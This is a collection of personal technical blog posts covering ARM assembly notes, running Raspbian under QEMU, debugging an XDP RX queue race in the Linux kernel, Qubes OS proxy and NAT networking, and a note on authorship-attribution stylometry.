
Four indexing exists: increment of the base address after/before accessing the memory (ia/ib) and decrement of the base address after/before (da/db).

ia is the default.

In short:

                            ;              r4, r5, r6, r7
    ldmia   r0, {r4-r7}     ;  *src++    :  0,  1,  2,  3
    ldmib   r0, {r4-r7}     ;  *++src    :  1,  2,  3,  4
    ldmda   r0, {r4-r7}     ;  *src--    : -3, -2, -1,  0
    ldmdb   r0, {r4-r7}     ;  *--src    : -4, -3, -2, -1

Note the it is a set of registers, not a list so the order is not important. The registers are loaded/stored by their index from r0 to r15.

For loads the registers are loaded from memory into the registers in the natural order: from r0 to r15. For stores, the registers are dump into memory in the reverse order.

            <------ store direction    <------ stack grows
    stmdb sp!,  {r0,r1}    ; stack top -> [r0  r1]
    ldmia sp!,  {r2,r3}    ; r2 = r0; r3 = r1
        load direction ------>     stack shrinks ---->

The additional ! symbol means update the base register before the load or store but it doesn’t change how the load/store works.

The data sheet says that push and pop have the canonical form of stmdb sp!, {regs} and ldmia sp!, {regs} respectively.

Note that sp points to the last value of the stack and stmdb decrements the base address (sp) before doing the store in a push while ldmia increments after the load in a pop.

In both cases the sp is updated before (pre write-back) regardless of db/ia.

Note also that the stack grows decrementing the addresses and shrinks incrementing the addresses.

Alignment

The assembler can do it for you: .align n aligns the code or data to 2^n bytes.

Endianess

Since version 3, Arm is bi-endian. The instructions are in little endian but the data access can be little or big endian controlled by the E flag of CPSR.

Conditionals and branches

Three branches: branch (b) for if and while constructs, branch with link (bl) for function call and branch with exchange (bx) for returning from a call or to switch between Arm and Thumb modes.

The first two receive a label while the last one operates with a register.

More branches exist including branch with change to Jazelle (bxj) that can switch to a special mode that executes Java bytecode if supported.

Due instruction size constrains, labels cannot be in arbitrary positions. The b and bl requires the destination addresses to be in a range relative to PC of [-32MB;+32MB].

The range shrinks for other flavours of Arm to [-16MB;+16MB] and to [-252,256].

The branches can, as other instructions, be conditional executed. So bne stands for branch if not equals.

Two registers have the flags that controls the conditional execution: the Current Program Status Register (CPSR) and the Saved Program Status Register (SPSR), used during the interrupt handling.

The flags are set by special instructions like compare (cmp) or by data manipulation instructions if the affix s is added like in adds.

Not all the data manipulation instructions alter all the flags. For example the overflow flag (v) is set by arithmetic operations and not by bit operations.

Branching and condition codes

Current Program Status Register (CPSR):

Z: is zero?
N: is negative? (is MSB set?)
C: is carry bit set? (in a 32 bit register with bits numbered from 0 (LSB) to 31 (MSB), is the 32 bit set?)
V: was an arithmetic overflow? (like given a>0 & b>0 and then a+b < 0)
E: are we in big endian mode (E==1) or in little endian (E==0)?

Symbols

Global labels are defined with .global label while local labels are just .label (conventionally they begin with L to denote local but it is optional)

.code n declares the type of code: Arm (n is 32) or Thumb (n is 16). Alternative there are .arm and .thumb directives that do the same.

These affect all the code below until another directive change the setting.

.thumb_func on the other side affects only to the next symbol and it is required for interworking Thumb functions.

Alignment of code and data can be set by .aling n and .baling m where the former aligns to 2^n bytes and the latter to m bytes.

They apply to the next instruction/data, they are not global.

.type funcname %function declares a function.

Definition of variables

.byte, .hword and .word define data, array of items of 1, 2 and 4 bytes each.

This is handy way to define “variables” in the code:

    .align 2            ;  mantain the alignment, always!
one_word:
    .word 0x41424344
one_array_u16:
    .hword 1, 2, 3, 4
hello:
    .string "hello", "hello world!"   ;  array of NULL-terminated strings

Sections

These are .data (read-write non-zero initialized data) and .bss (read-write zero initialized data).

Other sections exist as well and they are denoted with .section like .section .rodata for read-only data.

    .data
    .align 2
magic:
    .word 42

    .bss
counter:
    .space 4

Code section is denoted by .text

References

QEMUlating a Rasbian (ARM)

2020-12-15T00:00:00+00:00

Quick how-to download and run a Raspbian Buster (ARM) emulating the vm with QEMU.

Download Raspbian lite image (Buster)
Download kernel image for Raspbian (kernel-qemu-*-buster) and the dtb file for that kernel (versatile-pb-buster-*.dtb)
Install QEMU: apt-get install qemu-system

Preparing the image

Unpack and check the disk file.

$ unzip 2020-12-02-raspios-buster-armhf-lite.zip
Archive:  2020-12-02-raspios-buster-armhf-lite.zip
  inflating: 2020-12-02-raspios-buster-armhf-lite.img

$ sudo fdisk -l 2020-12-02-raspios-buster-armhf-lite.img
Disk 2020-12-02-raspios-buster-armhf-lite.img: 1.7 GiB, 1858076672 bytes, 3629056 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x067e19d7

Device                                    Boot  Start     End Sectors Size Id Type
2020-12-02-raspios-buster-armhf-lite.img1        8192  532479  524288 256M  c W95 FAT32 (LBA)
2020-12-02-raspios-buster-armhf-lite.img2      532480 3629055 3096576 1.5G 83 Linux

Mount the second partition. Because the file has 2 partitions, we need to set the offset where the second starts: the start sector number multiplied by the size of each sector in bytes.

$ sudo mount -v -o offset=$((532480 * 512)) -t ext4 2020-12-02-raspios-buster-armhf-lite.img ~/mnt

⊕ Why we need to do this? No idea. May be is related with this

Comment out any entry of ld.so.preload adding a # at the begin of each line.

$ cat ~/mnt/etc/ld.so.preload
/usr/lib/arm-linux-gnueabihf/libarmmem-${PLATFORM}.so

$ sudo sed -i 's/^.*$/#\0/' ~/mnt/etc/ld.so.preload

Check the fstab. Replace /dev/mmcblk0p1 and /dev/mmcblk0p2 with /dev/sda1 and /dev/sda2.

In my case there are not explicit names like /dev/mmcblk0p1. Instead, there are UUIDs so I didn’t touch them.

$ cat ~/mnt/etc/fstab
proc                  /proc    proc    defaults             0   0
PARTUUID=067e19d7-01  /boot    vfat    defaults             0   2
PARTUUID=067e19d7-02  /        ext4    defaults,noatime     0   1

We are done.

$ sudo umount ~/mnt

Now it is show time!

Running the OS

$ qemu-system-arm                       \
  -M versatilepb                        \
  -cpu arm1176                          \
  -m 256                                \
  -drive "file=2020-12-02-raspios-buster-armhf-lite.img,if=none,index=0,media=disk,format=raw,id=disk0"  \
  -device "virtio-blk-pci,drive=disk0,disable-modern=on,disable-legacy=off"                              \
  -net "user,hostfwd=tcp::3022-:22"     \
  -dtb versatile-pb-buster-5.4.51.dtb   \
  -kernel kernel-qemu-5.4.51-buster     \
  -append 'root=/dev/vda2 panic=1'      \
  -no-reboot                            \
  -net nic                              \
  -nographic

The hostfwd=tcp::3022-:22 tells QEMU to forward TCP connections to the 3022 port from the host to the 22 port on the guest side. More forward rules can be added.

Enable ssh (now and on boot); login with pi/raspberry. This will allows us to upload/retrieve files to the vm and have additional consoles.

$ sudo service ssh start
$ sudo update-rc.d ssh enable

Now, from your host connect to the vm through the port 3022.

Install gdbserver for remote debugging:

sudo apt-get install gdbserver
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  gdbserver
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
<...>
Preparing to unpack .../gdbserver_8.2.1-2_armhf.deb ...
Unpacking gdbserver (8.2.1-2) ...
Setting up gdbserver (8.2.1-2) ...

Enlarge the disk

Optionally, you can expand the disk image to have more room for your programs.

First, with QEMU turned off, expand the disk image

$ qemu-img resize 2020-12-02-raspios-buster-armhf-lite.img +1G

Now, turn on the vm and redefine the partition. In my case is the partition number 2 (/dev/vda2):

pi@raspberrypi:~$ sudo fdisk /dev/vda

Command (m for help): p
Disk /dev/vda: 2.7 GiB, 2931818496 bytes, 5726208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x067e19d7

Device     Boot  Start     End Sectors  Size Id Type
/dev/vda1         8192  532479  524288  256M  c W95 FAT32 (LBA)
/dev/vda2       532480 3629055 3096576  1.5G 83 Linux

Command (m for help): d
Partition number (1,2, default 2): 2

Partition 2 has been deleted.

Command (m for help): n
Partition type
   p   primary (1 primary, 0 extended, 3 free)
   e   extended (container for logical partitions)
Select (default p): p
Partition number (2-4, default 2): 2
First sector (2048-5726207, default 2048): 532480
Last sector, +/-sectors or +/-size{K,M,G,T,P} (532480-5726207, default 5726207):

Created a new partition 2 of type 'Linux' and of size 2.5 GiB.
Partition #2 contains a ext4 signature.

Do you want to remove the signature? [Y]es/[N]o: n

Command (m for help): w

The partition table has been altered.
Syncing disks.

Note that fdisk offered by default the first sector to be 2048. This is the space before /dev/vda1 and it is too small, only 8kb.

Instead we want to start after /dev/vda1, in the same sector that the original /dev/vda2: the 532480.

From there, to the end of the disk: 5726207.

With the partition expanded, reboot and then update the filesystem:

pi@raspberrypi:~$ sudo resize2fs /dev/vda2
resize2fs 1.44.5 (15-Dec-2018)
Filesystem at /dev/vda2 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vda2 is now 649216 (4k) blocks long.

References

This tutorial setups a Raspbian Jessie in Qemu.

I adapted the steps to use a modern Raspbian Buster image.

The tutorial is super complete and includes how to enlarge the disk and setup the network.

But for the enlarge the disk part, this gist explains the thing a little better.

embiggen-disk seems to be a tool to facilite the task.

Self-Licensing

2020-12-05T00:00:00+00:00

Doing good things has a “moral boost” on the self-concept, then a person subconsciously get “self-indulgent” and makes permissive in the future to do bad actions.

The person no necessary needs to do the good action to have the “moral boost”: she can commit to do it in the future and that is enough to have the boost.

Even the person does not need to do anything. The boost can be transferred from a group that the person identify herself as belonging to.

RC-on-XDP-RX-Queue

2020-11-29T00:00:00+00:00

Picture this: you’d been developing for six months a network sniffer using XDP, a kernel in-pass in Linux.

Six months and when you are about to release it, you find not one but three bugs that shake all your understanding of XDP.

A debugging race against the clock begins.

We were hitting three issues in a row:

RX queue returns addresses with the incorrect offset
More packets hold by the application than possible
Pointer to NULL data

All of them at random times but very often.

XDP RX queue

The XDP RX queue is a lock free single-producer, single-consumer queue where the kernel plays the role of the producer and the user application the consumer.

The kernel pushes addresses (offsets respect the UMEM’s base address) into the queue that points to the received packets.

The pop has three parts:

the user application calls xsk_ring_cons__peek to know how many packets are ready to be consumed.
then, for each one a call to xsk_ring_cons__rx_desc to get the packet’s descriptor and therefore, its address (addr field)
and finally a call to xsk_ring_cons__release to mark the descriptors free to be reused by the producer.

There is no need to process the packets before xsk_ring_cons__release: releasing the packets’ descriptors of the RX does not make the UMEM’s frames holding the packets free to be reused.

Only when the packets’ addresses are pushed into the fill queue (FQ) the frames are available again.

Addresses of free frames are consumed from the FQ queue by the kernel (1). XDP then writes the incoming packet in a free frame (2) and pushes the address into the RX queue (3). The user application consumes from the RX queue (4) addresses of packets ready to be read or write (5). When it is done, the address is pushed back to the FQ for reuse (6).

The packet descriptor returned by xsk_ring_cons__rx_desc has two attributes: the packet’s address and its length.

The address is an uint64_t offset respect the UMEM’s base address.

⊕

The UMEM is a memory pool divided evenly by 2048 or 4096 bytes, the frame size and addresses are aligned to the frame size plus an offset for a headroom.

The headroom is an application defined space reserved at the begin of the frame for whatever the user wants to do. By default it’s zero.

Well, for some reason the RX queue was returning sometimes addresses with the wrong offset.

More than possible

The UMEM is a fixed memory pool divided evenly in frames where each frame holds a packet.

Therefore the count of packets that the application can hold before releasing them is fixed (UMEM size / frame size).

At anytime the count is less than or equal to UMEM size / frame size.

However the counters of the application shown a different thing: more packets where entering in the application and were hold before releasing them than the expected!

Pointer to `NULL`

As mentioned before you can prepend metadata to each packet.

In our case, one of the attributes is a pointer to an external structure and the pointer is never updated again. Remains constant.

But to our surprise the pointer changes and leaves pointing to NULL.

And the code is extraordinary simple and straightforward so there is no chances to change the pointer to NULL by an error in the logic.

void do_work(void *ctx) {
  while (alive) {
    struct pkt_t *pkt = read_packet();  // pull from the RX queue

    pkt->obj = external_object();
    assert (pkt->obj);                 // not NULL

    /* moments later */
    use(pkt->obj->field);   // segmentation fault, pkt->obj is NULL

    free_packet(pkt);       // push into the FQ queue
  }
}

No chances.

Debugging

So far we have three unrelated bugs. While possible, it is unlikely that we are dealing with three independent bugs.

They must be related somehow.

Let’s spin a debugger.

Counting before a crash

How many packets were pulled from the RX queue before getting one crash.

(gdb) b read_packet
(gdb) ignore 1 1000000

When the bug is detected, GDB will stop and we’ll have the chance to see how many times the breakpoint was hit before.

(gdb) info break
<...>breakpoint already hit 29 times

Would this change in function of the UMEM size? Larger UMEMs has more frames.

These are the results:

// Minimum size, UMEM can hold 1 frame only
breakpoint already hit 29 times
breakpoint already hit 19 times
breakpoint already hit 23 times

// Slightly larger UMEM, it can hold 16 frames
breakpoint already hit 69 times
breakpoint already hit 43 times
breakpoint already hit 50 times

// 64 frames
breakpoint already hit 111 times
breakpoint already hit 69 times
breakpoint already hit 126 times

// 256 frames
breakpoint already hit 348 times
breakpoint already hit 324 times
breakpoint already hit 1 time

So, with larger UMEMs is less likely to hit the bug but it is not a hard rule. In the last test, with the largest UMEM, we hit the bug in the first try.

Spontaneous addresses

What about the addresses returned by the RX queue? We want to print them without stopping the process.

(gdb) b do_work.c:16     // after the call to read_packet()
(gdb) commands
> silent
> p pkt - umem->base
> cont
> end

The segmentation fault due the NULL pointer happen even when the addresses had the correct offsets (pkt - umem->base % frame_size == headroom_size)

For the ones with incorrect offset, the address most common was the 0 (pkt - umem->base == 0).

I hypothesized that I could be putting the address 0 by mistake in the FQ. Further testing shown that the 0 was never put in FQ but still being received in the RX queue.

So the RX queue was returning addresses that I never put in the FQ. Those are new addresses!

That explains the issue number 2: the application having more packets than it should.

Later, I found that 0 was not the only addresses with an incorrect offset (issue number 1).

Poison values

Let’s print the packets as soon as they are read and the external object is set:

(gdb) set print pretty on

(gdb) b do_work.c:19     // after the call to external_object()
(gdb) commands
> silent
> p *pkt
> cont
> end

The last packet printed before the segmentation fault (issue 3) was something like this

{
  timestamp = 121212121,
  length = 60,
  data = 0xsomeaddress
}

And after the crash, the same packet looked like this:

{
  timestamp = 0,
  length = 60,
  data = 0x0
}

So the timestamp and data where zero’d. Was this done by the application or something else happen?

Perhaps a rouge memset?

The fields are initialized to zero by the eBPF filter and overwritten by the application.

I decided to set them to non-trivial values, called poison values.

If a memset zero’d them, I will notice.

This is the packet after the crash:

⊕ (gdb) p/x pkt->timestamp 0xdead

If you didn’t realize, the timestamp was not zero’d either.

{
  timestamp = 57005,
  length = 60,
  data = 0xbeaf
}

So the whole structure was not zero’d but reset, overwritten by the eBPF filter when the packet was supposed to be managed by user.

The three bugs are symptoms of the same unknown problem: the RX queue is returning invalid addresses, not only without the expected offset but addresses that belong to packets that the kernel still thinks that are free.

The real bug

Something was wrong in the RX queue / kernel side so we started to search this issue in the web.

A college of mine found a candidate: the fix of a race condition in the generic receive path.

eBPF runs in the driver if this one supports it. If not, eBPF is executed in the kernel and the packets take a slightly larger path from the network card to user.

This path is known as the XDP generic path or just XDP generic.

Remember than the RX is a single-producer queue so it is not thread safe for concurrent pushes.

⊕

No problem when XDP runs in the driver but when it does in the generic mode, the kernel may be receiving several packets and pushing them concurrently into the RX queue.

“Unlike driver mode, generic xdp receive could be triggered by different threads on different CPU cores at the same time leading to the fill and rx queue breakage. For example, this could happen while sending packets from two processes to the first interface of veth pair while the second part of it is open with AF_XDP socket.

Need to take a lock for each generic receive to avoid race.” commit bf0bdd13

The commit fixes the issue using a spinlock but the fix was not backported.

And doing a kernel upgrade is not an option.

Single queue

⊕ The article Monitoring and Tuning the Linux Networking Stack: Receiving Data explains this wonderfully.

Despite the name, the articule describes all the network stack from the driver to a TCP/UDP socket.

Once a packet is received by the network card a interruption is signaled. The interruption runs briefly and delegates the rest of the processing to a kernel thread named ksoftirqd/n.

The packet is put by the interruption into a queue to be consumed by a single ksoftirqd/n thread.

How the kernel can process multiple packet in parallel?

With multiple queues of course!

If we cannot upgrade the kernel we must enforce a single producer thread in the kernel side.

Configuring the interface to use a single RX queue the kernel will use a single ksoftirqd/n thread, a single-producer.

⊕ Try sudo ethtool -L <iface> combined 1 if the other does not work.

Thankfully the configuration is one liner:

$ sudo ethtool -L <iface> rx 1

Conclusions

This was hard. One innocently expects the bugs in the user application, not in the kernel.

And most of the time that’s true!

Debugging confirmed the opposite. And it was not easy.

The do_work shown is an oversimplification. The real code decouple the read_packet from the processing from the free_packet into a serie of threads.

And if debugging a multithreading application is not hard enough, putting a breakpoint in some places added enough delay that the bug was not trigger anymore.

Heisenbug!

GDB’s set non-stop on helped to reduce the impact: when a breakpoint is hit by a thread, only that thread is stopped.

A special thanks to my college Mario that dug into kernel’s git log and found commit bf0bdd13.

That was the missing piece to solve this puzzle.

References

Qubes OS Networking

2020-11-19T00:00:00+00:00

Qubes OS has an interesting network system to isolate more-or-less trusted application virtual machines (App) from absolute untrusted network VMs (Net).

These last ones have the drivers required to handle ethernet and wifi cards that expose them to a potentially deathly bug lurking in the drivers.

An additional VM is put in the middle between App VMs and Net VMs. This absolute trusted proxy VM serves as a safe firewall (Proxy).

In this post will explore how these VMs connect and how the packets are forwarded up and down along this chain of VMs.

Three App VMs: one for work, other for personal stuff, both considered relatively-trusted and one more VM for untrusted stuff, all connected to the “firewall” VM that forwards the packets to the Net VM.

The “firewall” VM is isolated except for the firewall/routing processing so it is considered trusted while Net VM is not.

Addresses

The first obvious thing to notice is the existence of ethernet cards both in App VM and Proxy VM.

root@appvm:# ip address show
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:5e:6c:19 brd ff:ff:ff:ff:ff:ff
    inet 10.137.7.27/32 brd 10.255.255.255 scope global eth0
       valid_lft forever preferred_lft forever

root@proxyvm:# ip address show
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:16:3e:5e:6c:18 brd ff:ff:ff:ff:ff:ff
    inet 10.137.1.26/32 brd 10.137.1.26 scope global eth0
       valid_lft forever preferred_lft forever
4: vif37.0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 32
    link/ether fe:ff:ff:ff:ff:ff brd ff:ff:ff:ff:ff:ff
    inet 10.137.7.1/32 scope global vif37.0
       valid_lft forever preferred_lft forever

⊕

“The virtual interfaces in client VMs are called ethX, and are provided by the xen_netfront kernel module, and the corresponding interfaces in the Net/Proxy VM are called vifX.Y and are created by the xen_netback module.”
–Playing with Qubes networking for fun

⊕ The most-right bit of the most-left byte (fe) is even so it is an unicast address.

The second most-right bit of the same byte is odd so it is a locally administrated address and it means that was arbitrary set by Qubes/Xen.

The ethX links have different addresses with the same Xensource OUI 00:16:3e while the vifX.Y have the same unicast-locally administrated MAC: fe:ff:ff:ff:ff:ff.

Routing

Here a ping from the App VM is routed to the Proxy VM that in turns routes the packet to the Net VM and the outside world and the response goes back through the same path to the App VM

root@appvm:# ping -c 1 8.8.8.8
64 bytes from 8.8.8.8: icmp_seq=1 ttl=53 time=12.1 ms

root@appvm:# tcpdump -n -i eth0
23:56:57.072295 ARP, Request who-has 10.137.7.1 tell 10.137.7.27, length 28
23:56:57.072330 ARP, Reply 10.137.7.1 is-at fe:ff:ff:ff:ff:ff, length 28
(icmp omitted)

root@proxyvm:# tcpdump -n -i vif37.0
23:56:57.072295 ARP, Request who-has 10.137.7.1 tell 10.137.7.27, length 28
23:56:57.072330 ARP, Reply 10.137.7.1 is-at fe:ff:ff:ff:ff:ff, length 28
(icmp omitted)

⊕

The ARP request/reply is the App VM asking for the MAC address of its configured gateway, the 10.137.7.1 that it is the IP of the Proxy VM’s vif37.0 interface.

root@appvm:# ip route show
default via 10.137.7.1 dev eth0
10.137.7.1 dev eth0 scope link

⊕ You may find REACHABLE or STALE: the first means that the entry is valid while the second means it was valid.

If you are quickly enough you may see DELAY: the learning about the reachability is still in progress.

As expected, the App VM saves this in its ARP cache:

root@appvm:# ip neigh show
10.137.7.1 dev eth0 lladdr fe:ff:ff:ff:ff:ff STALE

⊕

Once the App VM knows the Link Layer address (aka lladdr), it sends the ICMP echo request, the Proxy VM forwards it and forwards back the response.

root@appvm:# tcpdump -n -i eth0
(arp omitted)
23:56:58.014156 IP 10.137.7.27 > 8.8.8.8: ICMP echo request, id 1177, seq 1, length 64
23:56:58.027402 IP 8.8.8.8 > 10.137.7.27: ICMP echo reply, id 1177, seq 1, length 64

root@proxyvm:# tcpdump -n -i vif37.0
(arp omitted)
23:56:58.019581 IP 10.137.7.27 > 8.8.8.8: ICMP echo request, id 1177, seq 1, length 64
23:56:58.032679 IP 8.8.8.8 > 10.137.7.27: ICMP echo reply, id 1177, seq 1, length 64

Upstream - downstream forwarding

The Proxy VM acts as a router.

root@proxyvm:# cat /proc/sys/net/ipv4/ip_forward
1

However the VM will drop all the packets before forwarding them with some exceptions:

root@proxyvm:# iptables-save -t raw
:PREROUTING ACCEPT [116:43405]
-A PREROUTING ! -s 10.137.7.27/32 -i vif37.0 -j DROP
...

root@proxyvm:# iptables-save -t filter
:FORWARD DROP [0:0]
...
-A FORWARD -s 10.137.7.27/32 -p icmp -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -j ACCEPT

⊕ The untrusted VM spoofs the source address simulating a message from the work VM; replies will be addresses to it.

This spoofing scenario is prevented with the PREROUTING rules.

The PREROUTING rule prevents a malicious downstream VM (App VM) to send packets to a Proxy VM (via vif37.0) with a spoofed source IP.

Otherwise a malicious VM could hijack the traffic of its siblings VMs.

Proxy VM will act as a router for a particular App VM only for the packets coming from that VM.

root@proxyvm:# ip route show
default via 10.137.1.1 dev eth0 proto static metric 100
10.137.1.1 dev eth0 proto static scope link metric 100
10.137.1.26 dev eth0 proto kernel scope link src 10.137.1.26 metric 100
10.137.7.27 dev vif37.0 scope link metric 32715

So the incoming ICMP echo request packet with source IP 10.137.7.27 enters from vif37.0, it is accepted by the firewall, routed to eth0 due the default route and goes out.

Before leaving the Proxy VM, the packet is slightly modified…

NAT

The Proxy VM allows routing packets coming from its App VM: we see this in the firewall exceptions and in the route where the specific App VM IP is used, 10.137.7.27.

But if we have more Proxy VMs chained ?

Would the second Proxy VM need the IPs of the first Proxy VM and the App VM to setup its routes?

App VM <-> Proxy VM <-> another Proxy VM <-> ...

In general, any Proxy VM would need the IPs of all the downstream VMs!

That’s not only tedious but also would leak information: higher VMs would know more about the topology. A Net VM would know all the IPs that the environment has.

However sniffing on Proxy VM’s eth0 shows something different when the ping of App VM is forwarded:

root@proxyvm:# tcpdump -n -i eth0
(arp omitted)
23:56:58.019649 IP 10.137.1.26 > 8.8.8.8: ICMP echo request, id 1177, seq 1, length 64
23:56:58.032636 IP 8.8.8.8 > 10.137.1.26: ICMP echo reply, id 1177, seq 1, length 64

The source of the request is set to Proxy VM’s eth0 IP, not App VM ones.

Ping to 8.8.8.8 from App VM. Notice how the request is forwarded and in each hop the source address is changed (NAT).

The reply takes the same path but the source address is not changed.

This is due a NAT rule that masquerade the routed traffic:

root@proxyvm:# iptables-save -t nat
...
-A POSTROUTING -o vif+ -j ACCEPT
-A POSTROUTING -o lo -j ACCEPT
-A POSTROUTING -j MASQUERADE

The -o vif+ rule prevents masquerade traffic going downward, back to the App VM and the -o lo ignores loopback traffic.

The rest, including traffic routed to eth0 is masquerade.

So all Proxy VMs and Net VMs only need to know the IP of the previous VM and not the full chain.

Packet walk-through

⊕

App VM does a ping to 8.8.8.8, this is the walk-through

App VM
| pkt:         10.137.7.27 > 8.8.8.8: ICMP echo request
|
| route:       default via 10.137.7.1 dev eth0
| eth0:        10.137.7.27 > 8.8.8.8: ICMP echo request

Proxy VM
| vif37.0:     10.137.7.27 > 8.8.8.8: ICMP echo request
| prerouting:  ! -s 10.137.7.27/32 -i vif37.0  => NO DROP
| filter:      FORWARD -s 10.137.7.27/32  => ACCEPT
|
| route:       default via 10.137.1.1 dev eth0
| postrouting: POSTROUTING  => MASQUERADE
|
| eth0:        10.137.1.26 > 8.8.8.8: ICMP echo request

--- request is sent to upstream; reply is received moments later ---

Proxy VM
| eth0:        8.8.8.8 > 10.137.1.26: ICMP echo reply
| (rev nat):   8.8.8.8 > 10.137.7.27: ICMP echo reply
| filter:      FORWARD -s 10.137.7.27/32  => ACCEPT
|
| route:       10.137.7.27 dev vif37.0
| postrouting: POSTROUTING -o vif+  => DONT MASQUERADE
|
| vif37.0:     8.8.8.8 > 10.137.7.27: ICMP echo reply

App VM
| eth0:          8.8.8.8 > 10.137.7.27: ICMP echo reply

DNS

The DNS traffic is handled like the above but with a twist.

root@appvm:# nslookup google.com
Server:     10.137.7.1
Address:    10.137.7.1#53

Non-authoritative answer:
Name:   google.com
Address: 172.217.172.46

It is interesting to note that App VM queried 10.137.7.1 to resolve the address: the Proxy VM is working as a DNS resolver.

root@appvm:# tcpdump -n -i eth0
...
23:58:30.214939 IP 10.137.7.27.46734 > 10.137.7.1.53: 26595+ A? google.com. (28)
23:58:30.337391 IP 10.137.7.1.53 > 10.137.7.27.46734: 26595 1/0/0 A 172.217.172.46 (44)

root@proxyvm:# tcpdump -n -i vif37.0
...
23:58:30.220387 IP 10.137.7.27.46734 > 10.137.7.1.53: 26595+ A? google.com. (28)
23:58:30.342664 IP 10.137.7.1.53 > 10.137.7.27.46734: 26595 1/0/0 A 172.217.172.46 (44)

But that’s a lie: there is no DNS resolver in Proxy VM and the DNS request is forwarded upstream:

root@proxyvm:# tcpdump -n -i eth0
...
23:58:30.220455 IP 10.137.1.26.46734 > 10.137.1.1.53: 26595+ A? google.com. (28)
23:58:30.342616 IP 10.137.1.1.53 > 10.137.1.26.46734: 26595 1/0/0 A 172.217.172.46 (44)

Notice how the source address is masqueraded as we saw with the ping packet but the destination address is changed too:

23:58:30.220387 IP 10.137.7.27.46734 > 10.137.7.1.53: 26595+ A? google.com. (28)
                    NAT  |                   |  DNAT
                         V                   V
23:58:30.220455 IP 10.137.1.26.46734 > 10.137.1.1.53: 26595+ A? google.com. (28)

DNAT

Nobody is listening on the 53 udp port so the DNAT is applied before routing.

root@proxyvm:# iptables-save -t nat
...
-A PREROUTING -j PR-QBS
-A PR-QBS -d 10.137.7.1/32 -p udp -m udp --dport 53 -j DNAT --to-destination 10.137.1.1
-A PR-QBS -d 10.137.7.1/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 10.137.1.1
-A PR-QBS -d 10.137.7.254/32 -p udp -m udp --dport 53 -j DNAT --to-destination 10.137.1.254
-A PR-QBS -d 10.137.7.254/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 10.137.1.254
...

Firewall rules also apply

root@proxyvm:# iptables-save -t filter
...
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.1/32 -p udp -m udp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.254/32 -p udp -m udp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.1/32 -p tcp -m tcp --dport 53 -j ACCEPT
-A FORWARD -s 10.137.7.27/32 -d 10.137.1.254/32 -p tcp -m tcp --dport 53 -j ACCEPT
...

In the Net VM the destination is replaced by the DNS resolver address configured:

root@netvm:# iptables-save -t nat
...
-A PR-QBS -d 10.137.3.1/32 -p udp -m udp --dport 53 -j DNAT --to-destination 8.8.8.8
-A PR-QBS -d 10.137.3.1/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 8.8.8.8
-A PR-QBS -d 10.137.3.254/32 -p udp -m udp --dport 53 -j DNAT --to-destination 8.8.8.8
-A PR-QBS -d 10.137.3.254/32 -p tcp -m tcp --dport 53 -j DNAT --to-destination 8.8.8.8
...

Future readings

About networking and sysadmin:

Qubes related:

References

TL;DR Stylometrics

2020-11-12T00:00:00+00:00

A ghost writer is a person that writes a document, essay or paper but the work is presented by other person who claims to be the author.

Detecting deterring ghostwritten papers is an article written by a (ex)ghost writer and explains what happens behind the scene when a student pays for this dark service.

Would be possible to detect this in an automated way?

Given a set of documents, could we determine of they were written or not by the person or people who claim to be the authors?

This problem is known as authorship attribution and I will show a few papers that I read about this, in particular around the concept of stylometric, fingerprints that the real author leaves when he or she writes.

Application papers

Who Wrote the 15th Book of Oz? An Application of Multivariate Analysis to Authorship Attribution

⊕ Authors: José Nilo G. Binongo

An application case for authorship attribution called also a non-traditional method of attibuting authorship.

The author categories several writings of the universe of Oz to determine the author of “The Royal Book of Oz” among two options: Lyman Frank Baum, the creator of the Oz universe and Ruth Plumly Thompson, a children’s writer that continued the work of Baum.

The feature selected was the frequency of the functional words.

“Among the parts of speech, function words are made up of pronouns, auxiliary verbs, prepositions, conjunctions, determiners, and degree adverbs. These parts of speech have a more grammatical than lexical function.”

Some functional words are more specific and inherent has more meaning (content). Depending of the book these may appear more or less.

Because the frequency depends of the content and not on the author, these “more specific” functional words are removed.

The author of the paper takes the top 50 of the most frequency functional words to remove these “too specific” words.

The 50 dimensionality is then mapped (reduced) to 2 using principal component analysis (PCA).

A very good paper.

Delta for Middle DutchAuthor and Copyist Distinction in Walewein

⊕ Authors: Karina van Dalen-Oskam and Joris van Zundert

Huygens Instituut, The Hague, The Netherlands

The Walewein text is known to be written by one author and then continued by a second author.

The authors of the paper used stylometric to determine where one author picked and continued the work of the former.

The authors decided to lemmatize the text.

Lemmatize a text means to take the words and rewrite them in a normalized way. For example words like “play, playing, played” are mapped to a single “play” verb.

Then they used Yule’s K and Burrows’ Delta metrics over a rolling window of 2000 lines of text.

Yule’s Characteristic K is a estimation of the richness of a text: text with a lot of repeated words are said to be less rich while the text with less repeated words has more vocabulary.

K is defines as:

$$ K = 10^4 \left( -\frac{1}{N} + \sum_{i = 1}^{N} V_i \left( \frac{i}{N} \right)^2 \right) $$

where $N$ is the count of words in a text and $V_i$ the number of words that appeared $i$ times.

Burrows’ Delta models a set of documents as a matrix.

Each document is modeled as a algebraic vector where each position represent a word and contains the frequency of that word.

The frequencies per document are normalizes so they sum up 1.

The vectors are then stacked forming a matrix having in each column the frequencies of a particular word in all the documents.

Each column is normalized such the mean or average of them is 0 and the standard deviation is 1. A procedure common in ML.

